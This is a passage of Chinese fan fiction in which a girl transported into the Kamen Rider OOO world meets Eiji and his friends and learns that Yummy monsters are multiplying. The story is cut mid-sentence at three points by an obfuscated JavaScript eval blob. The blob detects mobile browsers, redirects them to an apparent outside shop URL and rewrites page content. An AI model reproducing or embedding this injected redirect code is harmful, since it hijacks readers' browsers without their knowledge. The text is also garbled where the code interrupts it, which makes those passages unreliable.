“如果真是这样,那我该怎么回到我的那个世界里呢?”我长长地叹了口气,“虽然一开始就没报什么希望,但假面骑士里穿越时空的方法还蛮多的。我本来想试着看能不能过阵子在街上撞到小魔王,或者有没有天才物理学家愿意摇个瓶子什么的……” 总之,希望落空了。 5. 从地铁开始的异次元之旅(5) 一般的穿越作品里穿越者总会带着系统,蓝色的导航框会指引他们每一步要做些什么。但大概是穿越之神看我不顺眼,我身上没有这么好用的道具,全身家当仅是一部具备跨时代性能的手机,还因为接口问题充不进电,正在鸿上基金会改装。 和基金会研究的那些黑科技比起来,我的手机真是平庸至极。 然而蚊子腿再小也是肉。要是连手机都没有,我真不知道自己究竟能做些什么。 有了手机,我至少能给比奈拍一点超高像素的照片,宣传她的设计。还能写写日记聊聊天,把这段奇异的经历记录下来,也是不可多得的人生时刻了。 说不定以后会有出版机会呢。我这样想。 基于以上所想,我得出结论:对于一个习惯智能化生活的人而言,手机万分重要的,必要时或更胜于生命。我拜托鸿上尽快完成充电口的更换,只要能在三天之内给我,做什么我都愿意。 当然,我这样说是因为我知道他们不会要求我什么。如果他们真的准备让我去打怪,或者干脆当小白鼠做人体实验,我肯定也会找无数个理由拒绝。 听上去很无赖,但这就是我十多年来生存的智慧。以前写不完作业找朋友抄答案时也是,我总是事前开空头支票,事后又以各种理由逃避兑现。 当然,朋友们包容了我。因为抄答案本身也不是件大事。 扯这么多细枝末节的东西,只是想告诉看到这里的你:大可以把我的品行往下评估。因为我是一个小偷小摸的人,所以我的叙述注定不能给你英雄般的体验。如果要了解真正的英雄是如何面对这一切的,请去看《假面骑士OOO》。 火野映司一定不曾想过,他虽没能在炮火纷飞的战场上救下小女孩的□□,但他无私的事迹却在往后十余年中拯救了无数小男孩小女孩的精神,成为他们人生的锚点、灵魂的支柱。 现在,这根支柱就坐我对面,穿得跟个流浪汉似的,大口爽吃着地中海风味的芝士意面。风卷残云的效率活像饿死鬼投胎。 有点幻灭。 “好吃啊知世子,”一边吃,还一边盛赞知世子的手艺,“你的厨艺又进步了!这和我在西班牙吃的根本一模一样啊!” 知世子笑得眼都弯了,又端上一碟肉酱:“好吃就多吃,这儿还有呢。” “离开这么久,我最想的果然还是库斯库契!” 他们好热闹。伊达叔要和映司拼酒。信吾哥一直说着“旅行辛苦了”之类的话。比奈见到映司,从心底里泛出笑来。 像阖家团圆了一样。 还好后藤把我的手机给带来了。学校禁网,因此我的手机里搭载了许多小游戏的私服,以此逃避无聊至极的学业。 我禁音玩起开心消消乐。虽然听不到“Unblievable”的洗脑音效会有些可惜,但人家的大好日子,我总不能当那个破坏气氛的人。 小游戏一路过关,开启了新的层级。 正读着这一层的特殊功能说明,突然有人叫我:“秋山燕……是吗?” 我恍惚地想,这声音怎么这么像火野映司…… 结果还真是他。 忘了我穿越了。 “啊,是的!”我慌忙把手机塞到兜里,就算晚自习老师突击检查都不这么紧张,“我是秋山燕,是中国人,目前是在读高校一年级……” 条件反射般,我把本来要说给渡部秀的自我介绍全背了出来。 “比奈都跟我说了。”映司比我想象的还要特别,一时间我脑子里只剩下“无邪气”这个日语里的形容,“我从Line上听说了你的事情,真了不起。” “本来也……‘既来之则安之’吧。”被偶像夸奖,我害羞地举起手机。如果可以真想偷拍一张。 映司继续说:“不嫌弃的话,我想好好招待下你。明天怎么样?” 哈哈我是不是幻听了……火野映司说要招待我招待我招待我…… “太麻烦了!”我当即就要拒绝。知世子却替我接过了话。 “没问题的。”她朝我挤挤眼睛,“这孩子在这儿住了五天,可天天都想你呢。” 映司立即被勾去注意:“真的假的?” 我忽然有种脱力的感觉。真的真的都是真的。但这是属于少女心事的部分,知世子居然就这么给我抖出来了—— 也好。 反正面子没有偶像重要。 -- 比奈和我体型相近,到新世界后我的衣服都是她断舍离的,算是她给我的礼物。 为了映司的招待,我请比奈为我搭配了服装,做了发型。她好像知道为什么我要这么郑重,以百分之三百的认真为我设计好了造型,又用百分之五百的耐心把它实现。 最后我看向镜子里的自己,像看着一个完全陌生的人。只有眼睛还依稀对得上我本来的面目。 比奈边卷头发边问我:“这个温度可以吗?会不会太烫。” 我摇摇头。还是跟她说:“没想到你会这么重视。” 比奈浅浅一笑:“映司是我的恩人。他帮助了我和哥哥,没有他和Ankh,大概就没有现在的我们。” 听见她能坦然地说出Ankh的名字,我心头一痛,像是被针扎了一样难受。 Ankh的死给他们和我都带来了太多悲伤。我曾经为这个虚拟角色哭了三天,一度不能跟任何人说话,不愿提起有关OOO的任何事情。 如果故事外的我都尚且如此…… “所以,我理解你的心情。”比奈一下下梳理着我的头发,解开纠缠在一起的发结,“如果难得能见到他——见到映司,我应该也会盛装打扮,想以最完美的样子表达自己的感谢。在这方面,大家都是一样。” “这么说还真是……”我一下想起了北村,那个被观众戏称为“败犬”的男人,大费周章只为了让映司接受自己的帮助。 比奈说得没错,大家还真是一样。 -- 傍晚,我到了指定的地方,越看越觉得眼熟。 ……怎么是关东煮店。 我想我早该明白,火野映司的“好好招待”不可能是那种服务费就百分之三十的高档餐厅。尽管他是政治家的儿子,但显然这种粗糙的生活方式才更贴合他的气质。 也不错。我于是想。 就是白瞎了比奈给我做的造型。 “哦,新客人啊,好漂亮的姑娘。”老板笑眯眯地看着我和映司入座,问我们要吃些什么。 “是啊老板,这是我家的亲戚。”映司低头看着关东煮的锅子,“好久没来了,就随便先吃点吧——有什么忌口的吗?” 他问的是我。“没有。” “那就随便来一点吧,谢谢啦老板!” 吃过关东煮,映司又说要带我出门转转。路上他给我买了一根草莓味的冰棍,说这是某个人以前最爱吃的,希望我也尝尝。 我当然知道此处的“某个人”是谁。这时黄昏刚过,太阳落下了,天空彻底冷却成了蓝色。路灯亮了起来,照出行人的影子。我站在在他们经常谈心的天桥,看看天,看看水,忍不住问:“你真的只是想要招待我吗?” “嗯?”映司没听清,或没听懂。 不管了。我自顾自地往下说:“我在你们的世界之外,亲眼目睹了Ankh的复活。尽管来了之后发现你们的世界这跟我所认识的大不一样,但……很诡异啊。” 这是我来到OOO世界的第六天。 在我读过的小说里,穿越题材就像是一场用文字构建的开放世界游戏。穿越者们在系统或者前辈的指导下领取任务,完成了就要去往下一个世界,或是回家。 我没有系统,没有前辈,没有任务。 我原以为自己是来帮助Ankh复活的,毕竟纵观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510624|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' OOO,能算得上“遗憾”的只有这个。而改写遗憾恰恰是大部分穿越所设定的核心。 但,六天了。 六天里我什么也没做,就是吃吃喝喝睡睡。我没有因为看过OOO后面的剧本就比他们更加智慧,甚至恰恰相反,这里的每样事态都超出了我的预计,让我一再怀疑自己穿错剧了。 我试着重启手机,打开来还是硕大的品牌LOGO,和以前没有半分差别。 我也试着找其他人了解情况,但他们都有自己的生活,自己的使命。我是个意外闯入的人,无依无靠,需要帮助——他们都这样看我。 我真的想不明白,这场穿越对于我,对于他们,究竟有什么意义。 为什么是我呢?我成绩不错,但个性却很差,懒散和被动到连老师都嫌弃。 如果换个更主动的人穿越,我想他或她应该能做得更好吧。至少不像我一样在这儿瞎撞,幽魂一般漫无目的地游荡。 我本来想把这些话都藏起来,像藏着一段并不光辉的过往,谁来也不告诉。但面对映司,大概是追星脑发作,我忍不住问他:“你们就不想从我身上再获得点什么吗?比如Yummy,比如复活——你们真的什么都不想知道吗?” 他没有立刻回答。 我垂下眼,忽然觉得自己实在好笑。这也太难为人了吧?还要他们问什么呢,你能交代的明明都交代了,现实和你所知的故事根本是两码子事,能用心收留你一个外人就不错了,有什么资格再要求他们…… 说到底只是寂寞了。因为他们都不需要你。因为你把他们的生命当成故事,没有共同的经历,也就没有共同的话题。 观众和角色注定走不进彼此的心。 “我不太懂他们是怎么想的,但我的话……有件事其实特别想问问你。” 出乎意料的,映司还真有话要说。不论他是否出于真心,这确实是当下我最想要的东西。 我急切地:“什么!” 映司不好意思地笑笑,耸耸肩膀,故作轻松地转过脸去。平成Final里他也这样做过。那时他说:今天就是这样的一天。有你在的明天。 “在你的故事里,火野映司,他有好好战斗到最后吗?” “……”要不还是别问了吧,摸摸鱼也没什么不好。 映司的问题我无法回答,因为我打从心底就不认同十周年里OOO主题的演绎。对不认同的东西没有好坏可以评价。 OOO的核心是欲望。 欲望不是用来被满足的。或者说,欲望是不可能被完全满足的。欲望的不满足乃生命之源。 如果现实里有这么一位神明,祂的爱好就是不停满足人的欲望,然后在等到所有心愿了结之后对那人挥挥手说“现在你所有愿望已经实现,可以去死了”,我们对祂又会是什么看法呢? 肯定很诡异吧。那人一定很不甘心,一定要扯着祂的衣襟质问:你凭什么就靠这种事情决定我的生死!并且心生出“活下去”的欲望。 十周年的OOO就给我这样的感觉,角色被神明的大手玩弄。只是十周年的映司没有扯着编剧的衣襟,告诉他自己有多想活下去。 会对ankh说出“你不是想成为人吗,那就好好珍惜生命”的人,我不觉得他会轻易放弃“活下去”的可能。 更何况,如果被满足的欲望只为了救下了一个小女孩,那他的欲望也太小了。 在变身成为OOO期间,他早就救过无数小女孩了,不是吗? 无论怎么都说不通。只是有人觉得他一定要死,所以草率地让他死了。 只是他们不想再拍摄了。因为很累,因为不想再继续这个故事,所以选择了最干脆的做法。高效快捷,不留后患。 根本是报仇来的…… 对这样恶心的结果,身为OOO骨灰粉加火野映司激推的我是一个字也说不出口。 6. 我打Yummy…?!欸?真的假的?(1) 见我哑口无言,火野映司大概能猜到,他在我所熟识的那个故事里的结局并不算好。至少我认为他的结局不好。 于是他不再追问。笑了笑,又把话题岔开,说起七年前的事情。硬币、Yummy、OOO……从他的复述里,这些事就像昨天刚刚发生的一样,每一个细节他都记得,甚至连当时是什么天气都还说得出口。 不过,他没有提到Ankh。必要的部分也是一笔带过,用“那家伙”替代掉了。 是顾虑到我的存在,不想我牵扯太深;还是觉得Ankh的名字太过珍重,不应该随便挂在嘴上?我不知道。Final里最上兄弟用一次性硬币伪造出Ankh,他也没有解释,连名字都没说,打着打着就跳楼去抓Ankh的手殉情,给小医生带来了极大的震撼。 “前辈为了怪物跳下去了”——这弹幕真是让我会心一笑,有种知晓秘密以后,看着一无所知的人在真相面前团团转的快意。 现在,我成了那个团团转的人。 靠着栏杆,感受从海湾吹来的夜风,想到最终战前,映司、比奈和Ankh也在这个位置聊天,互有隐瞒,但还是故意说着轻松的话。感慨Ankh的回归,一起期待那个并不存在的完美未来。 嗯……至少我看来是这样。 触景生情什么的,真是很丢人了。 -- 和我一样,火野映司也住在库斯库契,知世子小姐另外为他准备了房间。我自告奋勇要帮他们收拾,提着水桶从洗手间过来,走廊上听到他们的对话。 “这次也是暂住吗?” “应该解决了问题再走。” 这是在聊什么? 我放慢速度,竖起耳朵认真偷听。 “这样啊,还真是辛苦呢。”知世子还在感叹,“你是为了燕那孩子回来的吧?说实在的,她的话也太离奇了。小映司当年也是考虑到这点才不告诉我Ankh的身份,是吧?” “您还在意着呢……”映司有些无奈,“当年我不是吓着您吗?怪物的事还是越少人知道越好,不能卷进去啊。” “但隐瞒‘有怪物出现在我们身边’这个事实,本质上是一种逃避,对吧?还是知道的越多越好,说不定就帮助大家提高警惕,减少受害者的出现呢?” 店长的反问太刁钻了,完全是《重案六组》里某一案那个女警的想法!传播学里是不是也有这种争论?当我们得知一个极具破坏性的消息,为了更普遍的安全,究竟要不要对大众公开——记得《重案六组》的评论区真的打疯了,放到特摄里却因为题材无人在意。 原来他们也会思考这种问题。又是一件超出预计的事。 我继续听。 “您说的是。”映司虚心地说,“当时还太年轻,怕您不接受Ankh,所以撒了点谎。” 知世子责怪他:“我是那样的人嘛。”静了静,她又说,“因为隐瞒,我似乎错过了很多帮助你们的机会,这些年也一直有点后悔。现在的燕儿跟当年的我也很像。有些事情,你们不要瞒着她,好吗?” 什么什么,还有我的事儿呢? 我当时就愣住了,站在门口进也不是退也不是,满脑子都是知世子最后的那半句话。 为什么他们会有事瞒我啊? 为什么连知世子都知道他们有事瞒我,可我却对此毫无察觉,一天又一天地在这儿混日子啊? 穿越者不应该是狂拽酷炫全知全能?怎么就我跟NPC一样一无所知,要知道点什么还得看他们的心情? 这不对吧神明大人…… 虽然我弱小无助只会吃,但都穿越了……故事的主角得是我才对吧! -- 这种郁闷的心情并没有持续太久。 我一直想,到底是什么事情值得他们对我隐瞒。按理说我了解Greeed,清楚八百年前王的腌臜事迹,怎么也不算完全的外人。 又是映司圣父心作祟,想把影响范围压到最小?但伊达明和后藤慎一郎没有必要帮他。怎么看我都算被卷进来了,不如物尽其用,多个人多份力量。 再者,鸿上光生不还是混沌中立派系的吗?莫非他当时找我确实不光是为了吃蛋糕,其实还在暗示我意外将至? “release……”我不由想到蛋糕上的单词。 纵观全剧,鸿上好像还真没往蛋糕上写过不重要的信息。但是release?释放,发布,松开,免除…… 到底是哪个意思。 “哎呀,燕儿你在门口站着干什么呢?” “啊?哦!” 正思考着,知世子突然推门出来,把我吓了一跳。 “小心水!”知世子大叫,眼疾手快地帮我稳住水桶,好险没淋我一身。 “对不起!”我也大叫,连忙端正姿势,不让水桶落地。 门外的动静太大,惊扰了房间里的映司。 “怎么回事?”他快步走出房间,看到的就是走廊上我和知世子一人一半抱着水桶,我直挺挺地站着,像拔军姿。 这也太糗了吧! “对不起!”我再次道歉,声量放得极大,仿佛这样掩饰自己的丑态,“我我我我裤子好像有点湿了,回去换一下——” 说完放下水桶,转身要逃。 映司叫住我:“等等!” 我顿时刹住脚步,像是被按下暂停。 映司的声音从身后传来:“明天晚上你有空吗?有几件事,想告诉你。” “……好啊。” 我听到自己说。 -- 一般来讲,假面骑士生活的地方同时也是他们的秘密基地,比如W的鸣海侦探事务所,小医生的CR地下室,BUILD的E总咖啡店。有什么不方便的都关起门说,保持信息对称的同时也不惊扰民众。 OOO里的库斯库契多国料理店本也该起到类似的作用。但鉴于白石知世子小姐直到结尾才真正对上信息,整部剧里他们最敞开天窗说亮话的地方也就变成了鸿上的几块地盘。 嗯……正反派都是这样。甚至OOO世界观内所有反派BOSS都得感谢鸿上光生一手培养。 真不愧是骑士棚的希卡利。 言归正传,既然知世子如今成为了幕后的知情者,库斯库契也终于回归了它应有的地位,方便主角团的这些战力开会。 我到场时,映司已经在了。他身前支着一块白板,上面贴着几张照片,相互间用红线联系,像是侦探剧里会出现的场景。 这氛围很难不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510625|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人紧张。 “我到了。”我小声说,像是害怕引起注意。 “哦,秋山。”映司转过身来,冲我绽开一个笑容,“你随便坐,估计还有一会儿。” “还有人要过来?”我问。 “嗯……”他抱着胳膊思考,“还有两个人说要过来,比奈的话可能没空,知世子也有生意要忙……大概就这样吧。” “人真多啊。”我说。语气干干的。 “毕竟是件大事。”映司点点头,走过来拍拍我肩膀说,“先坐下吧,我去给你拿瓶水啊!” “不用!我自己有拿!” 可惜我话没说完,映司一阵风似的卷出了门,不晓得到哪里了。 这地方陌生又空荡,加之天花板太低,给人一种阴森的错觉,总感觉坐也不是站也不是,怎么都不太安宁。 事已至此……还是玩会儿游戏吧。 随便找个位置,掏出手机继续上次的开心消消乐。 大概是否极泰来,我那天手气贼顺,随便划两下就能开出超级魔力鸟。一局差不多半分钟就能搞定,Unbelievable更是从没停过。 又过一关,我小小地欢呼,突然门口传来一段对话。 “秋山也在里面?” “嗯。” 是映司和伊达叔。 我关掉屏幕,匆匆把手机收了起来。 “不是说不让她操心的吗?” “没办法,这个局面好像也没办法避开。我觉得知世子说得没错,不论结果如何,总比一无所知来得要好。” “至少她得有选择,对吧?” 他们肯定料想不到,秋山燕这个孩子自小听力就特别好,以至于从来没人敢在我附近说悄悄话。 因为一定会被我听到。 小时候我还不太会表达,不论听到什么都只会哭,据说嗓音尖利得像是锥子,一声声折磨着他们的耳膜。 后来受不了了,爸妈怀疑我感官过敏,带我去看医生。一系列检查下来丁点事也没有,就是单纯的年纪小耳朵好,指标倒都在正常范围之内。 那时的我还以为,这玩意儿其实是我的特异功能,是我要成为中国队长的证据之一。小学之后才明白什么叫人外有人。班上真有个听觉过敏又听力不幸极强的女生,耳罩一摘可以在操场这头听到那头的小话,超人来了都未必是对手。 我这“中国队长”的梦终于是破灭了。 但依然没人敢在距离我十米内压低了声音讲话。 脚步声越发近了,映司和伊达叔也不再说话,专心地往这边走。 等两人出现在门口,我假装自己什么都不知道,向他们招了招手:“伊达叔好!” “好久不见啊秋山。”伊达叔爽朗一笑,也抬起手来,“哦,看起来很开心嘛,脸上都有笑容了呢。这才对啊,年轻人就多笑笑,不要整天摆着张脸,那是中年大叔才有的特权。” 伊达叔说话原来这么有趣。我乐得都肚子痛了,忍不住跟他顶嘴:“我看您也经常笑啊。” “我这不是没到中年,还年轻呢。” 这个自称年轻的男人,如果按照剧中年龄来算,足够当我的父亲;若以剧外演员的年龄为标准,更是比我的父亲还要年长。 7. 我打Yummy…?!诶?真的假的?(2) 伊达叔一副轻松的派头,在我对面坐下。我后来才从后藤口中得知,这个世界里伊达叔不再作为Birth行动,而是恢复了医生的身份,偶尔会跟映司一起出游,救死扶伤之余找寻Ankh的踪迹。 黄金精神可歌可泣。 然而眼下我只觉得他是个幽默的退休大爷。我撇撇嘴,从映司手里接过矿泉水,拧开盖子喝了一口。 过了不久,第三个人也到了。 是泉信吾。 “不好意思,警局里有事,我来晚了。” 看到信吾哥那张清秀的脸的时候,我的脑子“咚”了一下,像是有人往我脑袋上狠狠砸下一拳。 怎么是他? 这场地,这配置,该来的不是……后藤吗? 伊达叔倒不意外:“辛苦了啊,泉。本来就为Yummy的事情烦扰着吧?” 诶诶?Yummy? “是啊。组长昨天还在焦虑,为什么怪物越来越多。”泉信吾叹了叹气,“要是能找到他们的源头就好了,但完全没有线索,大人物们也很着急啊。” 伊达叔也叹气:“在事态失控之前,加油干吧。” 听着他们的对话,我心里马上有了一个猜测。 这时候映司说:“信吾,‘那个’带来了嘛?” “啊,在包里,请等一下。” 泉信吾低头翻包,从夹层里取出一个信封。 “给。” “谢谢。” 映司接过信封,转身走到白板前面。他从信封里抽出一沓照片,看了看,抽出几张用磁铁贴到了白板上面,又用红笔画了几条连线。 泉信吾在我身边落座。我们三人一齐看着映司。 过了一会儿,他收起笔,慢悠悠地转过身来:“从上个月开始,Yummy的数量增加了啊。受害者也在不断增多,上周居然有五个人说自己遇到了怪物,太奇怪了。” 果然啊。我心里想。 Yummy的复活——这就是他们瞒着我的事吧。 而这会议就是他们对抗Yummy的情报交流。 可能被知世子彻底说服了吧,映司完全没拿我当外人,前情提要一概没有,直接从Yummy开始,和伊达明泉信吾你一言我一语地复盘近期发生的所有超自然事件。 也只有我这么聪慧的大脑才能在信息差如此之大的前提下跟上节奏。 也终于知道了泉信吾之所以在这里的原因。 因为是警察,泉信吾能拿到人类方这边掌握的绝大部分有关Yummy的情报,包括且不限于位置、出现频率、照片以及特殊能力。 “其实在三个月前,差不多是映司你离开的那段时间,Yummy的数量就已经出现了异常。”他指着方才贴上去的某张照片,大约是觉得光靠嘴说不够清晰,也起身走到白板跟前,另外拿了只黑笔比划,“当时我们联合鸿上基金会打败了这只偷盗书籍的Yummy,受害者也找到了,是一位有着收藏癖的姑娘,送到了伊达先生处治疗,目前已销案。” 他在偷书Yummy的旁边写了几个字母,接着伸手把白板底部的一张照片挪了上来。 “再然后,是这个。”他抱歉地对着映司笑笑,“虽然映司把它安排到了虫蛹型,但那只是外观。其实它更倾向于繁殖型,以‘巢’的形态生长于宿主附近。” “——所以是混合型?”听到这里我举手问。 泉信吾面露讶色,似乎在想我一张生面孔,是怎么知道“混合型”这么超标的词汇的。 很快他反应过来,笑着摇了摇头:“不是。它们虽然特殊,但又没有那么特殊。” “现在没有混合型的Yummy,”伊达叔说,“不如说‘混搭型’遍地都是。” “混搭型?”这词还真是陌生。 伊达叔说:“你也知道,这些Yummy的运作方式是根据Greeed的种类决定,什么类别的Greeed就会孕育什么样子的Yummy,对吧?” “所以呢?”我点点头,等着他后面的话。 伊达叔说:“而新发现的这些Yummy,它们全都乱了。”一边说,他一边比出各类物种的手势,“昆虫样子的Yummy可能是繁殖型,飞鸟样子的Yummy可能是虫蛹型,水生的可能是寄宿型,猫类的也可能是哺育型。” “……那不是完全丧失种族特征了吗?”居然变异成了这个样子——我脑海里立即出现排列组合的公式,“那‘混合型’呢?” “没有混合型了。”泉信吾接过话茬,耐心地同我接说,“虽然很乱,但目前发现的Yummy都只具备单一特征,只是这个特征不好判断,外观和行为上乱了套了。” “所以我们一直找不到幕后的Greeed,因为没有规律的特征等于根本没有特征。”伊达明继续补充,“实际上我怀疑根本就没有这个Greeed。Yummy们明显不出自我们熟悉的Greeed体系,或许它们已经不需要再借助Greeed的力量诞生。” “怎么会……”我根本不敢相信自己所听到的,“可是Yummy依赖Greeed是OOO的底层设定啊……” 我下意识地反驳,话没说完突然捂住了嘴。 什么设定不设定的,这世界和东映哪有关系! “什么设定不设定的,这就是可悲的现实啊。”伊达明摇摇头,和泉信吾你一言我一语地替我补充知识。 久违的上课的感觉又回来了,我简直变成了一只即将被饲料填满的鸭,一面说着“再也吃不下了”,一面还不得不接受老师们爱的赠予。 三言两语之后,我的世界观完全被刷新了:“原来如此……” 我对OOO的了解还是不够深刻,本篇中的那点内容在这个世界完全就是古典力学,要想站到时代前沿还得往学识库里补充量子物理,也就是新时代的Yummy2.0。 根据泉信吾的说法,Yummy2.0除了特征紊乱、背后Greeed不明外,还增加了“成群结队”这一特性。 由于贯彻了日式特摄单元剧的叙事原则,OOO在剧集里采用的是“一一对应”设计,即一只Yummy对应一个主题、一个故事,很少会看到两只或两只以上Yummy同时行动。但在这里Yummy们总是集体出现,回回三只起步,搞得警署和后藤打怪压力贼大。 这种程度的合作,更像是人类远古时期的狩猎。 “那你们现在人力火力够吗?”我忽然有些心痛,因为我清晰记得十周年的局面:王复活,库斯库契的每个人都扛起了枪,在灭世的压力下被迫成为战士。 那场面太绝望了,尤其我记得比奈的梦想,明明她只想当一个独立服装设计师。可是Yummy曾经撕毁了这一切,而就在比奈找回自己想要做的事情以后,泉信吾和Ankh的关系又让她陷入混乱,去法国留学的事也就一再拖延。 不过这里的比奈好像有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510626|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己的店?她给我做造型的时候是在某家独立工作室里,但是不是她的我好像没有注意。 加上泉信吾仍然在做警察,而没有拿着机枪或者火箭筒和谁火并,现状应该还没到那么绝望。 “这方面大可放心。”泉信吾说,打消了我的顾虑,“因为鸿上基金会的支持,地方警署都配备了针对Yummy的特殊武器。实在棘手的话,上报警视厅也能得到支援。” 这样就太好了。 “不过偶尔还得出动Birth。”伊达叔倒不比我乐观,“尤其是近来Yummy袭击事件直线上涨,光上周接到的报案就超出了半年前一个月的数量,长此以往必然成为极大的麻烦——你觉得呢,映司?” 我看向映司。从讨论开始他就没再发言,盯着白板不知在思索什么。 这样安静了一会儿,他说:“这次出门我似乎找到了八百年前王的踪迹。” “什么?!”伊达叔愣住了,一拍桌子猛地站了起来,“这么重要的事,你不早说?” “因为这只是我的猜测。”映司继续说,“Yummy的出世,包括秋山的来历,甚至是Ankh复活的办法……” 他不再往下说了,转过脸朝我看来。 明明是很平常的一个动作,我却觉得那眼神像是苍鹰一样锐利,吓得我几乎摒住了呼吸。 “我的来历……” “这又是什么意思?” 好在泉信吾及时发问,打破了即将凝滞的氛围。 “就是字面上的意思。”映司转过脸回他“Yummy,秋山,还有Ankh,他们应该都和八百年前的王有所联系。” “我不明白。”泉信吾说,“这分明是三件不同的事。” 认真起来的映司好可怕……等映司移开视线,我觉得自己总算能呼吸了,压着嗓子长长地吐出口气,作死一般问下去说:“我也不明白。Yummy是我来之前就有了的,Ankh是七年前出事的,他们怎么会和我有关系呢?” “哪怕是我所知道的那个复活之法——濒死前以愿望和执念换来Ankh核心硬币的修复,也不过我通过东映看见的三年后的未来。而在那条时间线里,最上兄弟要链接多个骑士宇宙,所以搞出来超级机械装置和人造道具……” 我也站了起来,一边转来转去一边拼命回忆着十周年和平成Final的剧情,努力不放过其中任何一个细节。可恶啊,要是我穿越前有重刷这两部影片,或者干脆有下载到手机里就好了。 “总之,这是完全不一样的世界。” 我得出结论。 “所以我和Ankh——我们之间应该是无关的。” 尽管这话说得像是要想要把自己撇开一样,但从现有信息来看,这就是最为正确的推理。 奥卡姆剃刀原则:如无必要,勿增实体。证据不足时尽可能减少关联性假设。 伊达叔也认可我的看法:“是啊映司,这几件事在时间上的差距实在太大,很难说它们之间存在联系。” “所以我不敢下这个定论。”映司说,朝我看了一眼,“我怕自己贸然把秋山牵扯进来,毕竟她年龄还小,这种事应该让我们大人去承担吧。” 说到结尾,映司还不好意思地笑了一下。不知为何,我觉得那笑容冷冰冰的,就连映司这个人也瞬间离我好远,像隔着荧幕在看。 “你还是跟那时一样。” 默然片刻,伊达叔最后说。 8. 我打Yummy…?欸?真的假的?(3) 我知道伊达叔指的是映司大结局前背着他们去找鸿上光生,表示愿意以自己的身体作为硬币的容器,以迎战Greeed化了的真木博士的历史。映司去做了他所认为正确的事,其他人则奋力阻止。这其中甚至包括鸿上光生。 他想要映司能放弃恐龙硬币,成为OOO。 伊达叔则说:不管是OOO还是Greeed,他都不希望映司变成那个样子。 从这个层面来说,OOO真是个以映司作为核心,映司作为主题,映司作为唯一支点而恪守不渝的,复杂且混乱的故事。 ……好像这是暴太郎的句子。 -- 伊达叔又问了一遍映司在上次旅途里的发现,但映司还是不说,只说自己需要找一趟鸿上光生。 此话一出,我们每个人都松了口气。伊达叔的放松尤其明显,我看到他的肩线瞬间沉了下去,回归到一个自然的状态。 至少他不是准备独自行动。 我想他并不如许多人猜测的那样喜欢人类——至少他不信任我们。 难怪ZIO里当议员去了。 泉信吾接到电话,对方说又有Yummy在街上肆意破坏,要求他马上前去支援。会议被迫终止,他快速抄起桌上的资料,这时伊达叔问他:“等一下,这是一周里的第几回了?” “第三回。”泉信吾语速极快,“不好意思,我真得走了!回头再说!” 事态看起来真的很急,泉信吾草草比了个“抱歉”的动作便跑了出去,速度堪比体测时的冲刺。 “你们不去吗?”我盯着泉信吾远去的方向,也不知道是在问谁。 “啊,没有消息的话,我们过去也没什么用。”伊达叔摊开手,一副束手无策的样子,“三回啊,差不多两天一次……” 映司也看着门外,手攒成拳不安地在颤动。 犹豫了会儿,他说:“我还是得去看看。” “等下,你不能!” 话音未落,伊达叔本能地张开手臂,试图拽住映司。但后者像是预判到了他的行动,身一歪直接扭了出去。 就那么眨眼的功夫,屋内就剩下了我和伊达叔两个。 一切都发生得太快,用语言很难表达我当时的心情。我愣住了。伊达叔背对着我,像一座沉默的山。 他为什么要拦住映司? 后知后觉,一个可怕的猜测在我脑内成型。 “他现在还能变身成为TATOBA吗?” “变不了了。”伊达叔说,“核心硬币消失很多年了,映司他现在,就只是个普通人而已。” -- “哎呀,怎么脸又苦起来了?” 我和伊达叔结伴走出房间,本来想分开静静,没想到知世子见到我就拥了上来,强制性给了我个抱抱。 伊达叔跟她道别:“那我就先走了,知世子。” “好啊,下次再来!” 知世子草草回了个头,又转回来专心对付我,揉面一样不停揉我的脸,好像这是一件趁手的玩具。 “别弄了啦知世子!”我努力躲开她的“袭击”,“映司和信吾哥呢?你有看到他们吗?” “他们急匆匆地往外面跑,给我的顾客吓一跳呢,等回来看我怎么收拾他们!” 知世子笑眯眯的,语气里完全听不出威胁的意思。但我是真的被她挟持住了,半推半搡地安排到了一张桌子上,被迫实验她新研发的点心。 她振振有词:“好啦燕儿,吃点甜的说不定就能快乐起来呢?” 我很想说我没有不快乐,但看到知世子如此期待,又不忍心扫了她的兴致。只好认命般举起勺子,把桌上的东西随便挖了一点往嘴里送。 清冽的气息瞬间在我的口腔里炸开,酸酸的,似乎还带着一点微妙的苦。 “这什么啊!”我大叫,差点把勺子摔了。 “这是我新制作的海盐柠檬薄荷风味冰淇淋,还加了一点点黑胡椒,一点点罗勒叶,一点点香菜。”知世子得意地眨了眨眼,“提神醒脑,还不错吧?” 不错个鬼嘞,酸的苦的都往凉的里塞,这风味简直是甜品界的□□啊!而且,哪里有往冰淇淋里加香菜的啊! 